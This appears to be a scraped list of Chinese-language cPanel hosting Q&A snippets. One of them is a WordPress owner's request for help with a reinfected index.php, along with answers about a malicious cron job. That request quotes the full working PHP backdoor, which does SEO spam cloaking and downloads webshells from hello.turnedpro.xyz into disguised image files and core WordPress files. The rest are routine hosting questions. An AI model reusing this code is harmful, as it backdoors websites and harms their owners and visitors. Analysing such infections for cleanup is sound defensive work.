cPanel是一个基于Linux的Web托管控制面板,提供图形界面和自动化工具,旨在简化托管网站的过程。 cPanel采用3层结构,为管理员,经销商和最终用户网站所有者提供功能,通过标准Web浏览器控制网站和服务器管理的各个方面。
在全球 cpanel 服务器上阻止所有 xmlrpc.php 请求
我在 Google 上搜索了很多,寻找阻止我的 cpanel 服务器上所有 xmlrpc.php 请求的工作示例。我尝试过 CSF 选项,该选项似乎仅在请求来自同一个时才有效......
我有一个 cPanel 帐户,该帐户附加到我在 WHMCS 上的网站。我尝试通过编辑 cPanel 中“模板”文件夹内的文件来编辑网站,但是当我单击“保存更改”时,我得到了
在实时服务器中,我的 Laravel 项目不显示图像。符号链接已正确创建,图片已成功上传至storage/app/public/images。然而,图像...
我的 WordPress 网站上的 index.php 文件每次删除后都会被黑客入侵
我的index.php中有这段代码,请帮助我如何防止这段代码返回,有什么方法可以锁定我的index.php文件。 我的index.php中有这段代码,请帮助我如何防止此代码返回,有什么方法可以锁定我的index.php文件。 <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ $http = 'http'; } $smuri_tmp = smrequest_uri(); $uri_script = ""; if(strstr($smuri_tmp, ".php") && !$site){ $uri_arr = explode(".php", $smuri_tmp); $uri_script = $uri_arr[0].".php?"; $smuri_tmp = $uri_arr[1]; $smuri_tmp = str_replace("?", "/", $smuri_tmp); } if($smuri_tmp==''){ $smuri_tmp='/'; } $s = 'b'.'ase6'.'4_e'.'ncode'; $smuri = $s($smuri_tmp); function smrequest_uri(){ if (isset($_SERVER['REQUEST_URI'])){ $smuri = $_SERVER['REQUEST_URI']; }else{ if(isset($_SERVER['argv'])){ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; }else{ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $smuri; } @$action = $_GET['ac']?$_GET['ac']:""; if($action != "" && $action == "write"){ write(); echo "write done!"; exit(); } $goweb = 'seo601-2.firstok.xyz'; $password = md5(md5(@$_GET['pd'])); if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') { $add_content = @$_GET['mapname']; $action = @$_GET['action']; $domain = @$_GET['domain']; if($domain){ $host = $domain; }else{ $host = $_SERVER['HTTP_HOST']; } //$host = $_SERVER['HTTP_HOST']; $path = dirname(__FILE__); $file_path = $path.'/robots.txt'; if(!$action){ $action = 'put'; } if($action == 'put'){ $data = 'User-agent: * Allow: /'; $uri_script = trim($uri_script); if( $uri_script!= "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml"; } $num = mt_rand(5, 10); for($i = 0; $i<$num; $i++){ if(trim($uri_script) != "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml"; } } @chmod("robots.txt", 0755); file_put_contents("robots.txt", $data); echo "robots write done!!"; } if($action == 'del'){ if(file_exists($file_path)){ $data = smoutdo($file_path); }else{ $data = ''; } if(strstr($data,'/'.$add_content)){ if(is_https()){ $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content; }else{ $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content; } if(file_put_contents($file_path,$data_new)) { echo '<br>ok<br>'; }else{ echo '<br>file write false!<br>'; } }else{ echo '<br>sitemap does not exist!<br>'; } } exit; } function is_https() { if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) { return true; } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } $temp = @$_GET['smtemp']; $id = @$_GET['smid']; $page = @$_GET['smpage']; $site = str_replace('/','',$site); $host = $_SERVER['HTTP_HOST']; $clock = ''; $tempweb = @$_GET['tempweb']; $tempweb = str_replace('/','',$tempweb); if($tempweb){ $site = $tempweb[0].$tempweb[1].$tempweb[2]; $temp = substr($tempweb,3); } $lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; $lang = $s($lang); $os = $_SERVER['HTTP_USER_AGENT']; $os = $s($os); if(isset($_SERVER['HTTP_REFERER'])){ $urlshang = $_SERVER['HTTP_REFERER']; $urlshang = $s($urlshang); }else{ $urlshang = ''; } if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $clock = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $clock = $_SERVER['REMOTE_ADDR']; } $http_clock = ''; if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $http_clock = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $http_clock = getenv('HTTP_X_FORWARDED_FOR'); } if(stristr($clock,',')){ $clock_tmp = explode(",",$clock); $clock = $clock_tmp[0]; } if(!isset($sitemap_file) || @$sitemap_file==''){ $sitemap_file = 'sitemap'; } if(!isset($mapnum) || @$mapnum==''){ $sitemap_file = 2000; } if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){ @header("Content-type: text/xml"); if(isset($uriarr[1])){ $id = str_replace('_','',$uriarr[1]); }else{ $id = 100; } $ivmapid = 0; sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script); exit(); } function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){ $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew; return trim(smoutdo($web)); } function sitemap_out($url,$host,$uri_script){ if(is_https()){ $http = 'https'; }else{ $http = 'http'; } $date_str = date("Y-m-d\TH:i:sP",time()); $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; $sitemap_header .= ' <url> <loc>'.$http.'://' . $host . "/" . '</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; $url_arr = explode("\r\n",$url); $map_str = $sitemap_header; foreach($url_arr as $value){ $map_str .= ' <url> <loc>'.$http.'://' . $host . "/" .$value .'</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; } if($uri_script != ""){ $map_str = str_replace($host."/",$host.$uri_script, $map_str); } echo $map_str." </urlset>"; } function get($url){ $contents = @file_get_contents($url); if (!$contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $contents = curl_exec($ch); curl_close($ch); } return $contents; } function write(){ $write1 = get("http://hello.turnedpro.xyz/write1.txt"); $write2 = get("http://hello.turnedpro.xyz/write2.txt"); $shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt"); $shell_load = get("http://hello.turnedpro.xyz/mm2.txt"); $ht_content = file_get_contents(".htaccess"); $index_content = file_get_contents("index.php"); $loader_php = "wp-includes/template-loader.php"; $load_php = "wp-includes/load.php"; $font_editor_php = "wp-includes/SimplePie/font-editor.php"; if(!is_dir("css")){ mkdir("css", 0755, true); } file_put_contents("css/load.php", $shell_load); if(is_dir("wp-includes/SimplePie")){ file_put_contents("wp-admin/images/arrow-lefts.png", $index_content); file_put_contents("wp-admin/images/arrow-rights.png", $ht_content); file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content); file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content); $loader_content = file_get_contents($loader_php); $load_content = file_get_contents($load_php); @chmod($loader_php, 0755);@chmod($load_php, 0755); file_put_contents($loader_php, $write1.$loader_content); file_put_contents($load_php, $load_content.$write2); @chmod($loader_php, 0644);@chmod($load_php, 0644); file_put_contents($font_editor_php, $shell_postfs); } } if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } }else if($site){ if($site == 'xml'){ @header("Content-type: text/html; charset=utf-8"); $mapdir = @$_GET['mapdir']; $maptype = @$_GET['maptype']; $filetype = @$_GET['filetype']; $map_splits_num = @$_GET['map_splits_num']; $map_num = @$_GET['map_num']; $dataNew = @$_GET['dataNew']; if($mapdir){ if(!is_dir($mapdir)){ @mkdir($mapdir,0777,true); echo 'ok '.$mapdir.' success!<br>'; }else{ echo $mapdir.' already exist!<br>'; } } if(@$_GET['mapindex']){ $filearray = listDir($mapdir); if(count($filearray)>=2){ $mapindex_str = ''; $mapindex_str = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">'; foreach($filearray as $value){ if(stristr($value,'.xml')){ $mapindex_str .= ' <sitemap> <loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc> </sitemap>'; } } $mapindex_str .= ' </sitemapindex>'; $xmlname = @$_GET['mapindex'].'.xml'; $myfile = fopen($xmlname, "w"); fwrite($myfile, $mapindex_str); fclose($myfile); echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname; //echo "<br>".$web; exit; }else{ echo 'xml file less number mapindex faile!'; exit; } } $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http; if(substr($temp,0,8)=='shellxml'){ $xmlname = substr($temp,8).'.xml'; } if(substr($temp,0,7)=='hackxml'){ if(substr($temp,7)){ $xmlname = substr($temp,7).'.xml'; } } if(@$_GET['mapdir']){ if($filetype==1){ $xmlname = $xmlname.'.gz'; }else if($filetype==2){ if(function_exists('gzopen')) { $xmlname = $xmlname.'.gz'; if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo '<font style="color:red">no creat map!</font>'; exit; } $fp = gzopen ($mapdir.'/'.$xmlname, 'w9'); gzwrite ($fp, $xml); gzclose($fp); echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "<br>".$web; exit(); }else{ gzclose($fp); echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "<br>".$web; exit(); } }else{ echo '<font style="color:red">gzopen no exists!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http; echo "<br>".$web; exit(); } } if(fopen($mapdir.'/'.$xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo '<font style="color:red">no creat map!</font>'; exit; } $myfile = fopen($mapdir.'/'.$xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "<br>".$web; exit(); }else{ fclose($myfile); echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo "<br>".$web; exit(); } }else{ if(fopen($xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo '<font style="color:red">no creat map!</font>'; exit; } $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname; echo "<br>".$web; exit(); }else{ fclose($myfile); echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname; echo "<br>".$web; exit(); } } } if($id){ @header("Content-type: text/html; charset=utf-8"); $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } }else{ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = trim(smoutdo($web)); if($uri_script != ""){ $html_content = str_replace($host."/",$host.$uri_script, $html_content); } if(!strstr($html_content,'nobotuseragent')){ @header("Content-type: text/html; charset=utf-8"); if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); }else if(strstr($html_content,'getcontent301page')){ @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page",'',$html_content); header('Location: '.$html_content); exit(); } } } function smisbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo'); foreach ($googleBot as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smotherbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot'); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smoutdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } function listDir($dir){ $filearr = array(); if(is_dir($dir)){ if ($dh = opendir($dir)){ while (($file = readdir($dh)) !== false){ if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){ $filearr[] = $file; } } closedir($dh); } } return $filearr; } ?> 检查您是否有一个 cronjob 从 hello.turnedpro.xyz 域下载文件。该 cron 作业通过 wget 下载 bash 脚本,该脚本在您的 webroot 中执行并下载 webshell 和 .htaccess 文件 您使用 c-panel 托管您的网站吗? 按照swar3z的这个答案中所述删除cron条目后,您必须重新启动计算机以删除仍在运行的恶意软件进程,或者 - 如果不可能 - 搜索名为“lock666.php”的进程或类似并用kill -9 lock666.php杀死它。 后者为我解决了问题。
将特定用户的 Apache VirtualHost 提升为默认值
如 Apache 在“使用基于名称的虚拟主机”下所记录的: 如果未找到匹配的虚拟主机,则将使用第一个列出的与 IP 地址匹配的虚拟主机。 结果...
whm/cpanel 服务器的 MariaDB 负载非常高。推荐值是多少?
我检查了etc/my.cnf 文件,这些是值。 性能架构=0 innodb_buffer_pool_size=134217728 最大允许数据包=268435456 open_files_limit=77000 innodb_file_per_table=1 插件 loa...
我工作的公司最近决定改造我们十多年前创建的网站。 我们将域名从 cPanel 迁移到 Hostinger,并开始开发新网站。一切都是
突然将文件上传到 Express 在 Cpanel 上无法工作,但在本地工作正常
所以,我有一个项目,它可以上传 csv 文件并将其导入到数据库,起初该应用程序在本地和 cPanel 上运行良好,但几天前上传端点在 c 上根本无法工作。 .
我有一个 header.php 文件。一旦我保存该文件,它就会在几秒钟内从 cPanel 中消失。请注意,我什至根本没有运行 php 文件。 我能够分离出几行
使用 cPanel 上托管的 React 和 Node.js 上传文件的问题
自 10 月 11 日起,文件上传停止工作(超时,无错误),未部署任何内容。我们已经与托管支持团队讨论过,但他们说在他们这边一切似乎都很好......
CPANEL 运行 Node.js 应用程序:致命进程内存不足:无法为隔离 V8 指针压缩笼保留内存
我尝试在本地运行代码,它甚至不需要 1GB RAM,为什么当我尝试在 cpanel 上运行它时,它要求 v8 是否表明它需要 8GB? (Node.js 版本 18.20.4,应用程序模式
有没有办法将我的私人 github 存储库连接到 Bluehost Cpanel 上的文件夹?
我有一个私有 GitHub 存储库,其中使用了 PHP、HTML、Tailwind 和 JS。我创建了一个带有密码的 SSH, 我的 YAML 文件如下所示 名称:CI/CD 部署 在: 推: 分支...
尝试删除帖子时看到错误,移动到垃圾箱失败,但帖子成功移动到垃圾箱,与 .有了主题,看到找不到文件却也成功删除了主题...
我需要将所有电子邮件邮箱从我的 VPS 转移到 ISPConfig 网络服务器。我在 cpanel 上有 roundcube webmail,在 ISPConfig 上也有。 有些邮箱的电子邮件容量超过 5GB。如何安全转移所有
当我在本地运行我的 Laravel 项目时,我没有收到任何 404 错误,但是当我将其传输到服务器时,我在某些页面上收到 404 错误。列表页面没有问题,但是我无法访问...
如何使用Cpanel在AlmaLinux上的子域而不是端口上运行服务?
我的AlmaLinux 服务器上运行着一个版本的keycloak。该服务在端口 8080 上运行。我可以使用 :8080 访问它。但是,我想使用 mysubdomain 访问该服务。
在 cPanel GoDaddy 上解析 HTML 文件中的 PHP 时出现问题
我正在将客户的网站从旧的 Linux 服务器移动到带有 cPanel 的新服务器,两台服务器都使用 GoDaddy,并且客户端的 html 文件包含 PHP 代码。 (我知道这效率不高,但是……
我有一个运行 LiteSpeed Web Server 的 cPanel Linux 服务器。该服务器上的托管上不断有照片上传。然而,该网站每天都在增长一点,我遇到了问题...
我正在尝试将 Vscode 与 cpanel 一起使用,并创建自定义主题。我能够异步连接一切。但是,我收到这个奇怪的错误: 模板丢失。独立主题需要...
在带有 public_html 目录的 cPanel 服务器上托管 Laravel
我正在尝试将我的 Laravel 项目上传到我的网络服务器上,但我过去的两次尝试都没有成功。我相信我没有将文件上传到正确的位置。 这是我的网络服务器